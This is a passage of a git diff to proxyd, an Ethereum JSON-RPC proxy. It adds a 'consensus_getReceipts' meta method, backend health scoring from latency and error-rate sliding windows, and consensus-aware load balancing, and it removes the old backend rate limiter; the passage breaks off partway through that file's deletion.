`eth_getTransactionByBlockNumberAndIndex` +* `eth_getUncleByBlockNumberAndIndex` +* `debug_getRawReceipts` + +And `eth_blockNumber` response is overridden with current block consensus. + + +## Cacheable methods + +Cache use Redis and can be enabled for the following immutable methods: + +* `eth_chainId` +* `net_version` +* `eth_getBlockTransactionCountByHash` +* `eth_getUncleCountByBlockHash` +* `eth_getBlockByHash` +* `eth_getTransactionByBlockHashAndIndex` +* `eth_getUncleByBlockHashAndIndex` +* `debug_getRawReceipts` (block hash only) + +## Meta method `consensus_getReceipts` + +To support backends with different specifications in the same backend group, +proxyd exposes a convenient method to fetch receipts abstracting away +what specific backend will serve the request. + +Each backend specifies their preferred method to fetch receipts with `consensus_receipts_target` config, +which will be translated from `consensus_getReceipts`. + +This method takes a `blockNumberOrHash` (i.e. `tag|qty|hash`) +and returns the receipts for all transactions in the block. + +Request example +```json +{ + "jsonrpc":"2.0", + "id": 1, + "params": ["0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"] +} +``` + +It currently supports translation to the following targets: +* `debug_getRawReceipts(blockOrHash)` (default) +* `alchemy_getTransactionReceipts(blockOrHash)` +* `parity_getBlockReceipts(blockOrHash)` +* `eth_getBlockReceipts(blockOrHash)` + +The selected target is returned in the response, in a wrapped result. + +Response example +```json +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "method": "debug_getRawReceipts", + "result": { + // the actual raw result from backend + } + } +} +``` + +See [op-node receipt fetcher](https://github.com/ethereum-optimism/optimism/blob/186e46a47647a51a658e699e9ff047d39444c2de/op-node/sources/receipts.go#L186-L253). + + ## Metrics -See `metrics.go` for a list of all available metrics. +See `metrics.go` for a list of all available metrics. The metrics port is configurable via the `metrics.port` and `metrics.host` keys in the config. ## Adding Backend SSL Certificates in Docker -The Docker image runs on Alpine Linux. If you get SSL errors when connecting to a backend within Docker, you may need to add additional certificates to Alpine's certificate store. To do this, bind mount the certificate bundle into a file in `/usr/local/share/ca-certificates`. The `entrypoint.sh` script will then update the store with whatever is in the `ca-certificates` directory prior to starting `proxyd`. \ No newline at end of file +The Docker image runs on Alpine Linux. If you get SSL errors when connecting to a backend within Docker, you may need to add additional certificates to Alpine's certificate store. To do this, bind mount the certificate bundle into a file in `/usr/local/share/ca-certificates`. The `entrypoint.sh` script will then update the store with whatever is in the `ca-certificates` directory prior to starting `proxyd`. diff --git a/go/proxyd/backend.go b/go/proxyd/backend.go index 3efa89921f..6c699f0391 100644 --- a/go/proxyd/backend.go +++ b/go/proxyd/backend.go @@ -17,10 +17,14 @@ import ( "sync" "time" + "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/log" + "github.com/ethereum/go-ethereum/rpc" "github.com/gorilla/websocket" "github.com/prometheus/client_golang/prometheus" "golang.org/x/sync/semaphore" + + sw "github.com/ethereum-optimism/optimism/proxyd/pkg/avg-sliding-window" ) const ( @@ -83,8 +87,33 @@ var ( Message: "sender is over rate limit", HTTPErrorCode: 429, } + ErrNotHealthy = &RPCErr{ + Code: JSONRPCErrorInternal - 18, + Message: "backend is currently not healthy to serve traffic", + HTTPErrorCode: 503, + } + ErrBlockOutOfRange = &RPCErr{ + Code: JSONRPCErrorInternal - 19, + Message: "block is out of range", + HTTPErrorCode: 400, + } + + ErrRequestBodyTooLarge = &RPCErr{ + Code: JSONRPCErrorInternal - 21, + Message: "request body too large", + HTTPErrorCode: 413, + } + + ErrBackendResponseTooLarge = &RPCErr{ + Code: JSONRPCErrorInternal - 20, + Message: "backend response too large", + HTTPErrorCode: 500, + } ErrBackendUnexpectedJSONRPC = errors.New("backend returned an unexpected JSON-RPC response") + + ErrConsensusGetReceiptsCantBeBatched = errors.New("consensus_getReceipts cannot be batched") + ErrConsensusGetReceiptsInvalidTarget = errors.New("unsupported consensus_receipts_target") ) func ErrInvalidRequest(msg string) *RPCErr { @@ -106,10 +135,10 @@ func ErrInvalidParams(msg string) *RPCErr { type Backend struct { Name string rpcURL string + receiptsTarget string wsURL string authUsername string authPassword string - rateLimiter BackendRateLimiter client *LimitedHTTPClient dialer *websocket.Dialer maxRetries int @@ -119,6 +148,17 @@ type Backend struct { outOfServiceInterval time.Duration stripTrailingXFF bool proxydIP string + + skipPeerCountCheck bool + forcedCandidate bool + + maxDegradedLatencyThreshold time.Duration + maxLatencyThreshold time.Duration + maxErrorRateThreshold float64 + + latencySlidingWindow *sw.AvgSlidingWindow + networkRequestsSlidingWindow *sw.AvgSlidingWindow + networkErrorsSlidingWindow *sw.AvgSlidingWindow } type BackendOpt func(b *Backend) @@ -187,11 +227,70 @@ func WithProxydIP(ip string) BackendOpt { } } +func WithConsensusSkipPeerCountCheck(skipPeerCountCheck bool) BackendOpt { + return func(b *Backend) { + b.skipPeerCountCheck = skipPeerCountCheck + } +} + +func WithConsensusForcedCandidate(forcedCandidate bool) BackendOpt { + return func(b *Backend) { + b.forcedCandidate = forcedCandidate + } +} + +func WithMaxDegradedLatencyThreshold(maxDegradedLatencyThreshold time.Duration) BackendOpt { + return func(b *Backend) { + b.maxDegradedLatencyThreshold = maxDegradedLatencyThreshold + } +} + +func WithMaxLatencyThreshold(maxLatencyThreshold time.Duration) BackendOpt { + return func(b *Backend) { + b.maxLatencyThreshold = maxLatencyThreshold + } +} + +func WithMaxErrorRateThreshold(maxErrorRateThreshold float64) BackendOpt { + return func(b *Backend) { + b.maxErrorRateThreshold = maxErrorRateThreshold + } +} + +func WithConsensusReceiptTarget(receiptsTarget string) BackendOpt { + return func(b *Backend) { + b.receiptsTarget = receiptsTarget + } +} + +type indexedReqRes struct { + index int + req *RPCReq + res *RPCRes +} + +const ConsensusGetReceiptsMethod = "consensus_getReceipts" + +const ReceiptsTargetDebugGetRawReceipts = "debug_getRawReceipts" +const ReceiptsTargetAlchemyGetTransactionReceipts = "alchemy_getTransactionReceipts" +const ReceiptsTargetParityGetTransactionReceipts = "parity_getBlockReceipts" +const ReceiptsTargetEthGetTransactionReceipts = "eth_getBlockReceipts" + +type ConsensusGetReceiptsResult struct { + Method string `json:"method"` + Result interface{} `json:"result"` +} + +// BlockHashOrNumberParameter is a non-conventional wrapper used by alchemy_getTransactionReceipts +type BlockHashOrNumberParameter struct { + BlockHash *common.Hash `json:"blockHash"` + BlockNumber *rpc.BlockNumber `json:"blockNumber"` +} + func NewBackend( name string, rpcURL string, wsURL string, - rateLimiter BackendRateLimiter, rpcSemaphore *semaphore.Weighted, opts ...BackendOpt, ) *Backend { @@ -199,7 +298,6 @@ func NewBackend( Name: name, rpcURL: rpcURL, wsURL: wsURL, - rateLimiter: rateLimiter, maxResponseSize: math.MaxInt64, client: &LimitedHTTPClient{ Client: http.Client{Timeout: 5 * time.Second}, @@ -207,12 +305,18 @@ func NewBackend( backendName: name, }, dialer: &websocket.Dialer{}, - } - for _, opt := range opts { - opt(backend) + maxLatencyThreshold: 10 * time.Second, + maxDegradedLatencyThreshold: 5 * time.Second, + maxErrorRateThreshold: 0.5, + + latencySlidingWindow: sw.NewSlidingWindow(), + networkRequestsSlidingWindow: sw.NewSlidingWindow(), + networkErrorsSlidingWindow: sw.NewSlidingWindow(), } + backend.Override(opts...) + if !backend.stripTrailingXFF && backend.proxydIP == "" { log.Warn("proxied requests' XFF header will not contain the proxyd ip address") } @@ -220,16 +324,13 @@ func NewBackend( return backend } -func (b *Backend) Forward(ctx context.Context, reqs []*RPCReq, isBatch bool) ([]*RPCRes, error) { - if !b.Online() { - RecordBatchRPCError(ctx, b.Name, reqs, ErrBackendOffline) - return nil, ErrBackendOffline - } - if b.IsRateLimited() { - RecordBatchRPCError(ctx, b.Name, reqs, ErrBackendOverCapacity) - return nil, ErrBackendOverCapacity +func (b *Backend) Override(opts ...BackendOpt) { + for _, opt := range opts { + opt(b) } +} +func (b *Backend) Forward(ctx context.Context, reqs []*RPCReq, isBatch bool) ([]*RPCRes, error) { var lastError error // <= to account for the first attempt not technically being // a retry @@ -250,9 +351,31 @@ func (b *Backend) Forward(ctx context.Context, reqs []*RPCReq, isBatch bool) ([] res, err := b.doForward(ctx, reqs, isBatch) switch err { case nil: // do nothing + case ErrBackendResponseTooLarge: + log.Warn( + "backend response too large", + "name", b.Name, + "req_id", GetReqID(ctx), + "max", b.maxResponseSize, + ) + RecordBatchRPCError(ctx, b.Name, reqs, err) + case ErrConsensusGetReceiptsCantBeBatched: + log.Warn( + "Received unsupported batch request for consensus_getReceipts", + "name", b.Name, + "req_id", GetReqID(ctx), + "err", err, + ) + case ErrConsensusGetReceiptsInvalidTarget: + log.Error( + "Unsupported consensus_receipts_target for consensus_getReceipts", + "name", b.Name, + "req_id", GetReqID(ctx), + "err", err, + ) // ErrBackendUnexpectedJSONRPC occurs because infura responds with a single JSON-RPC object // to a batch request whenever any Request Object in the batch would induce a partial error. - // We don't label the the backend offline in this case. But the error is still returned to + // We don't label the backend offline in this case. But the error is still returned to // callers so failover can occur if needed. case ErrBackendUnexpectedJSONRPC: log.Debug( @@ -280,24 +403,12 @@ func (b *Backend) Forward(ctx context.Context, reqs []*RPCReq, isBatch bool) ([] return res, err } - b.setOffline() return nil, wrapErr(lastError, "permanent error forwarding request") } func (b *Backend) ProxyWS(clientConn *websocket.Conn, methodWhitelist *StringSet) (*WSProxier, error) { - if !b.Online() { - return nil, ErrBackendOffline - } - if b.IsWSSaturated() { - return nil, ErrBackendOverCapacity - } - backendConn, _, err := b.dialer.Dial(b.wsURL, nil) // nolint:bodyclose if err != nil { - b.setOffline() - if err := b.rateLimiter.DecBackendWSConns(b.Name); err != nil { - log.Error("error decrementing backend ws conns", "name", b.Name, "err", err) - } return nil, wrapErr(err, "error dialing backend") } @@ -305,72 +416,97 @@ func (b *Backend) ProxyWS(clientConn *websocket.Conn, methodWhitelist *StringSet return NewWSProxier(b, clientConn, backendConn, methodWhitelist), nil } -func (b *Backend) Online() bool { - online, err := b.rateLimiter.IsBackendOnline(b.Name) +// ForwardRPC makes a call directly to a backend and populate the response into `res` +func (b *Backend) ForwardRPC(ctx context.Context, res *RPCRes, id string, method string, params ...any) error { + jsonParams, err := json.Marshal(params) if err != nil { - log.Warn( - "error getting backend availability, assuming it is offline", - "name", b.Name, - "err", err, - ) - return false + return err } - return online -} -func (b *Backend) IsRateLimited() bool { - if b.maxRPS == 0 { - return false + rpcReq := RPCReq{ + JSONRPC: JSONRPCVersion, + Method: method, + Params: jsonParams, + ID: []byte(id), } - usedLimit, err := b.rateLimiter.IncBackendRPS(b.Name) + slicedRes, err := b.doForward(ctx, []*RPCReq{&rpcReq}, false) if err != nil { - log.Error( - "error getting backend used rate limit, assuming limit is exhausted", - "name", b.Name, - "err", err, - ) - return true + return err } - return b.maxRPS < usedLimit -} - -func (b *Backend) IsWSSaturated() bool { - if b.maxWSConns == 0 { - return false + if len(slicedRes) != 1 { + return fmt.Errorf("unexpected response len for non-batched request (len != 1)") } - - incremented, err := b.rateLimiter.IncBackendWSConns(b.Name, b.maxWSConns) - if err != nil { - log.Error( - "error getting backend used ws conns, assuming limit is exhausted", - "name", b.Name, - "err", err, - ) - return true + if slicedRes[0].IsError() { + return fmt.Errorf(slicedRes[0].Error.Error()) } - return !incremented + *res = *(slicedRes[0]) + return nil } -func (b *Backend) setOffline() { - err := b.rateLimiter.SetBackendOffline(b.Name, b.outOfServiceInterval) - if err != nil { - log.Warn( - "error setting backend offline", - "name", b.Name, - "err", err, - ) +func (b *Backend) doForward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool) ([]*RPCRes, error) { + // we are concerned about network error rates, so we record 1 request independently of how many are in the batch + b.networkRequestsSlidingWindow.Incr() + + translatedReqs := make(map[string]*RPCReq, len(rpcReqs)) + // translate consensus_getReceipts to receipts target + // right now we only support non-batched + if isBatch { + for _, rpcReq := range rpcReqs { + if rpcReq.Method == ConsensusGetReceiptsMethod { + return nil, ErrConsensusGetReceiptsCantBeBatched + } + } + } else { + for _, rpcReq := range rpcReqs { + if rpcReq.Method == ConsensusGetReceiptsMethod { + translatedReqs[string(rpcReq.ID)] = rpcReq + rpcReq.Method = b.receiptsTarget + var reqParams []rpc.BlockNumberOrHash + err := json.Unmarshal(rpcReq.Params, &reqParams) + if err != nil { + return nil, ErrInvalidRequest("invalid request") + } + + var translatedParams []byte + switch rpcReq.Method { + case ReceiptsTargetDebugGetRawReceipts, + ReceiptsTargetEthGetTransactionReceipts, + ReceiptsTargetParityGetTransactionReceipts: + // conventional methods use an array of strings having either block number or block hash + // i.e. ["0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b"] + params := make([]string, 1) + if reqParams[0].BlockNumber != nil { + params[0] = reqParams[0].BlockNumber.String() + } else { + params[0] = reqParams[0].BlockHash.Hex() + } + translatedParams = mustMarshalJSON(params) + case ReceiptsTargetAlchemyGetTransactionReceipts: + // alchemy uses an array of object with either block number or block hash + // i.e. [{ blockHash: "0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b" }] + params := make([]BlockHashOrNumberParameter, 1) + if reqParams[0].BlockNumber != nil { + params[0].BlockNumber = reqParams[0].BlockNumber + } else { + params[0].BlockHash = reqParams[0].BlockHash + } + translatedParams = mustMarshalJSON(params) + default: + return nil, ErrConsensusGetReceiptsInvalidTarget + } + + rpcReq.Params = translatedParams + } + } } -} -func (b *Backend) doForward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool) ([]*RPCRes, error) { isSingleElementBatch := len(rpcReqs) == 1 // Single element batches are unwrapped before being sent // since Alchemy handles single requests better than batches. - var body []byte if isSingleElementBatch { body = mustMarshalJSON(rpcReqs[0]) @@ -380,6 +516,8 @@ func (b *Backend) doForward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool httpReq, err := http.NewRequestWithContext(ctx, "POST", b.rpcURL, bytes.NewReader(body)) if err != nil { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, wrapErr(err, "error creating backend request") } @@ -397,8 +535,11 @@ func (b *Backend) doForward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool httpReq.Header.Set("content-type", "application/json") httpReq.Header.Set("X-Forwarded-For", xForwardedFor) + start := time.Now() httpRes, err := b.client.DoLimited(httpReq) if err != nil { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, wrapErr(err, "error in backend request") } @@ -416,48 +557,106 @@ func (b *Backend) doForward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool // Alchemy returns a 400 on bad JSONs, so handle that case if httpRes.StatusCode != 200 && httpRes.StatusCode != 400 { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, fmt.Errorf("response code %d", httpRes.StatusCode) } defer httpRes.Body.Close() - resB, err := io.ReadAll(io.LimitReader(httpRes.Body, b.maxResponseSize)) + resB, err := io.ReadAll(LimitReader(httpRes.Body, b.maxResponseSize)) + if errors.Is(err, ErrLimitReaderOverLimit) { + return nil, ErrBackendResponseTooLarge + } if err != nil { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, wrapErr(err, "error reading response body") } - var res []*RPCRes + var rpcRes []*RPCRes if isSingleElementBatch { var singleRes RPCRes if err := json.Unmarshal(resB, &singleRes); err != nil { return nil, ErrBackendBadResponse } - res = []*RPCRes{ + rpcRes = []*RPCRes{ &singleRes, } } else { - if err := json.Unmarshal(resB, &res); err != nil { + if err := json.Unmarshal(resB, &rpcRes); err != nil { // Infura may return a single JSON-RPC response if, for example, the batch contains a request for an unsupported method if responseIsNotBatched(resB) { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, ErrBackendUnexpectedJSONRPC } + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, ErrBackendBadResponse } } - if len(rpcReqs) != len(res) { + if len(rpcReqs) != len(rpcRes) { + b.networkErrorsSlidingWindow.Incr() + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) return nil, ErrBackendUnexpectedJSONRPC } // capture the HTTP status code in the response. this will only // ever be 400 given the status check on line 318 above. if httpRes.StatusCode != 200 { - for _, res := range res { + for _, res := range rpcRes { res.Error.HTTPErrorCode = httpRes.StatusCode } } + duration := time.Since(start) + b.latencySlidingWindow.Add(float64(duration)) + RecordBackendNetworkLatencyAverageSlidingWindow(b, time.Duration(b.latencySlidingWindow.Avg())) + RecordBackendNetworkErrorRateSlidingWindow(b, b.ErrorRate()) + + // enrich the response with the actual request method + for _, res := range rpcRes { + translatedReq, exist := translatedReqs[string(res.ID)] + if exist { + res.Result = ConsensusGetReceiptsResult{ + Method: translatedReq.Method, + Result: res.Result, + } + } + } - sortBatchRPCResponse(rpcReqs, res) - return res, nil + sortBatchRPCResponse(rpcReqs, rpcRes) + + return rpcRes, nil +} + +// IsHealthy checks if the backend is able to serve traffic, based on dynamic parameters +func (b *Backend) IsHealthy() bool { + errorRate := b.ErrorRate() + avgLatency := time.Duration(b.latencySlidingWindow.Avg()) + if errorRate >= b.maxErrorRateThreshold { + return false + } + if avgLatency >= b.maxLatencyThreshold { + return false + } + return true +} + +// ErrorRate returns the instant error rate of the backend +func (b *Backend) ErrorRate() (errorRate float64) { + // we only really start counting the error rate after a minimum of 10 requests + // this is to avoid false positives when the backend is just starting up + if b.networkRequestsSlidingWindow.Sum() >= 10 { + errorRate = b.networkErrorsSlidingWindow.Sum() / b.networkRequestsSlidingWindow.Sum() + } + return errorRate +} + +// IsDegraded checks if the backend is serving traffic in a degraded state (i.e. used as a last resource) +func (b *Backend) IsDegraded() bool { + avgLatency := time.Duration(b.latencySlidingWindow.Avg()) + return avgLatency >= b.maxDegradedLatencyThreshold } func responseIsNotBatched(b []byte) bool { @@ -484,59 +683,133 @@ func sortBatchRPCResponse(req []*RPCReq, res []*RPCRes) { } type BackendGroup struct { - Name string - Backends []*Backend + Name string + Backends []*Backend + Consensus *ConsensusPoller } -func (b *BackendGroup) Forward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool) ([]*RPCRes, error) { +func (bg *BackendGroup) Forward(ctx context.Context, rpcReqs []*RPCReq, isBatch bool) ([]*RPCRes, string, error) { if len(rpcReqs) == 0 { - return nil, nil + return nil, "", nil } - rpcRequestsTotal.Inc() + backends := bg.Backends + + overriddenResponses := make([]*indexedReqRes, 0) + rewrittenReqs := make([]*RPCReq, 0, len(rpcReqs)) - for _, back := range b.Backends { - res, err := back.Forward(ctx, rpcReqs, isBatch) - if errors.Is(err, ErrMethodNotWhitelisted) { - return nil, err + if bg.Consensus != nil { + // When `consensus_aware` is set to `true`, the backend group acts as a load balancer + // serving traffic from any backend that agrees in the consensus group + backends = bg.loadBalancedConsensusGroup() + + // We also rewrite block tags to enforce compliance with consensus + rctx := RewriteContext{ + latest: bg.Consensus.GetLatestBlockNumber(), + safe: bg.Consensus.GetSafeBlockNumber(), + finalized: bg.Consensus.GetFinalizedBlockNumber(), + maxBlockRange: bg.Consensus.maxBlockRange, } - if errors.Is(err, ErrBackendOffline) { - log.Warn( - "skipping offline backend", - "name", back.Name, - "auth", GetAuthCtx(ctx), - "req_id", GetReqID(ctx), - ) - continue + + for i, req := range rpcReqs { + res := RPCRes{JSONRPC: JSONRPCVersion, ID: req.ID} + result, err := RewriteTags(rctx, req, &res) + switch result { + case RewriteOverrideError: + overriddenResponses = append(overriddenResponses, &indexedReqRes{ + index: i, + req: req, + res: &res, + }) + if errors.Is(err, ErrRewriteBlockOutOfRange) { + res.Error = ErrBlockOutOfRange + } else if errors.Is(err, ErrRewriteRangeTooLarge) { + res.Error = ErrInvalidParams( + fmt.Sprintf("block range greater than %d max", rctx.maxBlockRange), + ) + } else { + res.Error = ErrParseErr + } + case RewriteOverrideResponse: + overriddenResponses = append(overriddenResponses, &indexedReqRes{ + index: i, + req: req, + res: &res, + }) + case RewriteOverrideRequest, RewriteNone: + rewrittenReqs = append(rewrittenReqs, req) + } } - if errors.Is(err, ErrBackendOverCapacity) { - log.Warn( - "skipping over-capacity backend", - "name", back.Name, - "auth", GetAuthCtx(ctx), - "req_id", GetReqID(ctx), - ) - continue + rpcReqs = rewrittenReqs + } + + rpcRequestsTotal.Inc() + + for _, back := range backends { + res := make([]*RPCRes, 0) + var err error + + servedBy := fmt.Sprintf("%s/%s", bg.Name, back.Name) + + if len(rpcReqs) > 0 { + res, err = back.Forward(ctx, rpcReqs, isBatch) + if errors.Is(err, ErrConsensusGetReceiptsCantBeBatched) || + errors.Is(err, ErrConsensusGetReceiptsInvalidTarget) || + errors.Is(err, ErrMethodNotWhitelisted) { + return nil, "", err + } + if errors.Is(err, ErrBackendResponseTooLarge) { + return nil, servedBy, err + } + if errors.Is(err, ErrBackendOffline) { + log.Warn( + "skipping offline backend", + "name", back.Name, + "auth", GetAuthCtx(ctx), + "req_id", GetReqID(ctx), + ) + continue + } + if errors.Is(err, ErrBackendOverCapacity) { + log.Warn( + "skipping over-capacity backend", + "name", back.Name, + "auth", GetAuthCtx(ctx), + "req_id", GetReqID(ctx), + ) + continue + } + if err != nil { + log.Error( + "error forwarding request to backend", + "name", back.Name, + "req_id", GetReqID(ctx), + "auth", GetAuthCtx(ctx), + "err", err, + ) + continue + } } - if err != nil { - log.Error( - "error forwarding request to backend", - "name", back.Name, - "req_id", GetReqID(ctx), - "auth", GetAuthCtx(ctx), - "err", err, - ) - continue + + // re-apply overridden responses + for _, ov := range overriddenResponses { + if len(res) > 0 { + // insert ov.res at position ov.index + res = append(res[:ov.index], append([]*RPCRes{ov.res}, res[ov.index:]...)...) + } else { + res = append(res, ov.res) + } } - return res, nil + + return res, servedBy, nil } RecordUnserviceableRequest(ctx, RPCRequestSourceHTTP) - return nil, ErrNoBackends + return nil, "", ErrNoBackends } -func (b *BackendGroup) ProxyWS(ctx context.Context, clientConn *websocket.Conn, methodWhitelist *StringSet) (*WSProxier, error) { - for _, back := range b.Backends { +func (bg *BackendGroup) ProxyWS(ctx context.Context, clientConn *websocket.Conn, methodWhitelist *StringSet) (*WSProxier, error) { + for _, back := range bg.Backends { proxier, err := back.ProxyWS(clientConn, methodWhitelist) if errors.Is(err, ErrBackendOffline) { log.Warn( @@ -572,6 +845,46 @@ func (b *BackendGroup) ProxyWS(ctx context.Context, clientConn *websocket.Conn, return nil, ErrNoBackends } +func (bg *BackendGroup) loadBalancedConsensusGroup() []*Backend { + cg := bg.Consensus.GetConsensusGroup() + + backendsHealthy := make([]*Backend, 0, len(cg)) + backendsDegraded := make([]*Backend, 0, len(cg)) + // separate into healthy, degraded and unhealthy backends + for _, be := range cg { + // unhealthy are filtered out and not attempted + if !be.IsHealthy() { + continue + } + if be.IsDegraded() { + backendsDegraded = append(backendsDegraded, be) + continue + } + backendsHealthy = append(backendsHealthy, be) + } + + // shuffle both slices + r := rand.New(rand.NewSource(time.Now().UnixNano())) + r.Shuffle(len(backendsHealthy), func(i, j int) { + backendsHealthy[i], backendsHealthy[j] = backendsHealthy[j], backendsHealthy[i] + }) + r.Shuffle(len(backendsDegraded), func(i, j int) { + backendsDegraded[i], backendsDegraded[j] = backendsDegraded[j], backendsDegraded[i] + }) + + // healthy are put into a priority position + // degraded backends are used as fallback + backendsHealthy = append(backendsHealthy, backendsDegraded...) + + return backendsHealthy +} + +func (bg *BackendGroup) Shutdown() { + if bg.Consensus != nil { + bg.Consensus.Shutdown() + } +} + func calcBackoff(i int) time.Duration { jitter := float64(rand.Int63n(250)) ms := math.Min(math.Pow(2, float64(i))*1000+jitter, 3000) @@ -581,9 +894,12 @@ func calcBackoff(i int) time.Duration { type WSProxier struct { backend *Backend clientConn *websocket.Conn + clientConnMu sync.Mutex backendConn *websocket.Conn + backendConnMu sync.Mutex methodWhitelist *StringSet - clientConnMu sync.Mutex + readTimeout time.Duration + writeTimeout time.Duration } func NewWSProxier(backend *Backend, clientConn, backendConn *websocket.Conn, methodWhitelist *StringSet) *WSProxier { @@ -592,28 +908,30 @@ func NewWSProxier(backend *Backend, clientConn, backendConn *websocket.Conn, met clientConn: clientConn, backendConn: backendConn, methodWhitelist: methodWhitelist, + readTimeout: defaultWSReadTimeout, + writeTimeout: defaultWSWriteTimeout, } } -func (w *WSProxier) Proxy(ctx context.Context, proxyServerLimiter *WSServerLimiter) error { +func (w *WSProxier) Proxy(ctx context.Context) error { errC := make(chan error, 2) - go w.clientPump(ctx, proxyServerLimiter, errC) + go w.clientPump(ctx, errC) go w.backendPump(ctx, errC) err := <-errC w.close() return err } -func (w *WSProxier) clientPump(ctx context.Context, proxyServerLimiter *WSServerLimiter, errC chan error) { +func (w *WSProxier) clientPump(ctx context.Context, errC chan error) { for { // Block until we get a message. msgType, msg, err := w.clientConn.ReadMessage() if err != nil { - errC <- err - if err := w.backendConn.WriteMessage(websocket.CloseMessage, formatWSError(err)); err != nil { + if err := w.writeBackendConn(websocket.CloseMessage, formatWSError(err)); err != nil { log.Error("error writing backendConn message", "err", err) + errC <- err + return } - return } RecordWSMessage(ctx, w.backend.Name, SourceClient) @@ -621,7 +939,7 @@ func (w *WSProxier) clientPump(ctx context.Context, proxyServerLimiter *WSServer // Route control messages to the backend. These don't // count towards the total RPC requests count. if msgType != websocket.TextMessage && msgType != websocket.BinaryMessage { - err := w.backendConn.WriteMessage(msgType, msg) + err := w.writeBackendConn(msgType, msg) if err != nil { errC <- err return @@ -631,25 +949,16 @@ func (w *WSProxier) clientPump(ctx context.Context, proxyServerLimiter *WSServer rpcRequestsTotal.Inc() - // truncate message if it's too big - if len(msg) > int(proxyServerLimiter.maxBodySize) { - msg = msg[:proxyServerLimiter.maxBodySize] - } - // Don't bother sending invalid requests to the backend, // just handle them here. req, err := w.prepareClientMsg(msg) - isRateLimit := proxyServerLimiter.isLimited("") - if err != nil || isRateLimit { + if err != nil { var id json.RawMessage method := MethodUnknown if req != nil { id = req.ID method = req.Method } - if err == nil { - err = errors.New(ErrOverRateLimit.Message) - } log.Info( "error preparing client message", "auth", GetAuthCtx(ctx), @@ -680,19 +989,6 @@ func (w *WSProxier) clientPump(ctx context.Context, proxyServerLimiter *WSServer continue } - if req.Method == "eth_sendRawTransaction" { - if err := proxyServerLimiter.isRateLimitSender(ctx, req); err != nil { - RecordRPCError(ctx, BackendProxyd, "eth_sendRawTransaction", err) - msg = mustMarshalJSON(NewRPCErrorRes(req.ID, err)) - err = w.writeClientConn(msgType, msg) - if err != nil { - errC <- err - return - } - continue - } - } - RecordRPCForward(ctx, w.backend.Name, req.Method, RPCRequestSourceWS) log.Info( "forwarded WS message to backend", @@ -701,7 +997,7 @@ func (w *WSProxier) clientPump(ctx context.Context, proxyServerLimiter *WSServer "req_id", GetReqID(ctx), ) - err = w.backendConn.WriteMessage(msgType, msg) + err = w.writeBackendConn(msgType, msg) if err != nil { errC <- err return @@ -714,11 +1010,11 @@ func (w *WSProxier) backendPump(ctx context.Context, errC chan error) { // Block until we get a message. msgType, msg, err := w.backendConn.ReadMessage() if err != nil { - errC <- err if err := w.writeClientConn(websocket.CloseMessage, formatWSError(err)); err != nil { log.Error("error writing clientConn message", "err", err) + errC <- err + return } - return } RecordWSMessage(ctx, w.backend.Name, SourceBackend) @@ -733,11 +1029,6 @@ func (w *WSProxier) backendPump(ctx context.Context, errC chan error) { continue } - // truncate message if it's too big - if len(msg) > int(w.backend.maxResponseSize) { - msg = msg[:w.backend.maxResponseSize] - } - res, err := w.parseBackendMsg(msg) if err != nil { var id json.RawMessage @@ -777,9 +1068,6 @@ func (w *WSProxier) backendPump(ctx context.Context, errC chan error) { func (w *WSProxier) close() { w.clientConn.Close() w.backendConn.Close() - if err := w.backend.rateLimiter.DecBackendWSConns(w.backend.Name); err != nil { - log.Error("error decrementing backend ws conns", "name", w.backend.Name, "err", err) - } activeBackendWsConnsGauge.WithLabelValues(w.backend.Name).Dec() } @@ -789,18 +1077,10 @@ func (w *WSProxier) prepareClientMsg(msg []byte) (*RPCReq, error) { return nil, err } - if err = ValidateRPCReq(req); err != nil { - return nil, err - } - if !w.methodWhitelist.Has(req.Method) { return req, ErrMethodNotWhitelisted } - if w.backend.IsRateLimited() { - return req, ErrBackendOverCapacity - } - return req, nil } @@ -815,8 +1095,23 @@ func (w *WSProxier) parseBackendMsg(msg []byte) (*RPCRes, error) { func (w *WSProxier) writeClientConn(msgType int, msg []byte) error { w.clientConnMu.Lock() + defer w.clientConnMu.Unlock() + if err := w.clientConn.SetWriteDeadline(time.Now().Add(w.writeTimeout)); err != nil { + log.Error("ws client write timeout", "err", err) + return err + } err := w.clientConn.WriteMessage(msgType, msg) - w.clientConnMu.Unlock() + return err +} + +func (w *WSProxier) writeBackendConn(msgType int, msg []byte) error { + w.backendConnMu.Lock() + defer w.backendConnMu.Unlock() + if err := w.backendConn.SetWriteDeadline(time.Now().Add(w.writeTimeout)); err != nil { + log.Error("ws backend write timeout", "err", err) + return err + } + err := w.backendConn.WriteMessage(msgType, msg) return err } @@ -902,6 +1197,6 @@ func RecordBatchRPCForward(ctx context.Context, backendName string, reqs []*RPCR } func stripXFF(xff string) string { - ipList := strings.Split(xff, ", ") + ipList := strings.Split(xff, ",") return strings.TrimSpace(ipList[0]) } diff --git a/go/proxyd/backend_rate_limiter.go b/go/proxyd/backend_rate_limiter.go deleted file mode 100644 index 3cc6faecc3..0000000000 --- a/go/proxyd/backend_rate_limiter.go +++ /dev/null @@ -1,286 +0,0 @@ -package proxyd - -import ( - "context" - "crypto/rand" - "encoding/hex" - "fmt" - "math" - "sync" - "time" - - "github.com/ethereum/go-ethereum/log" - 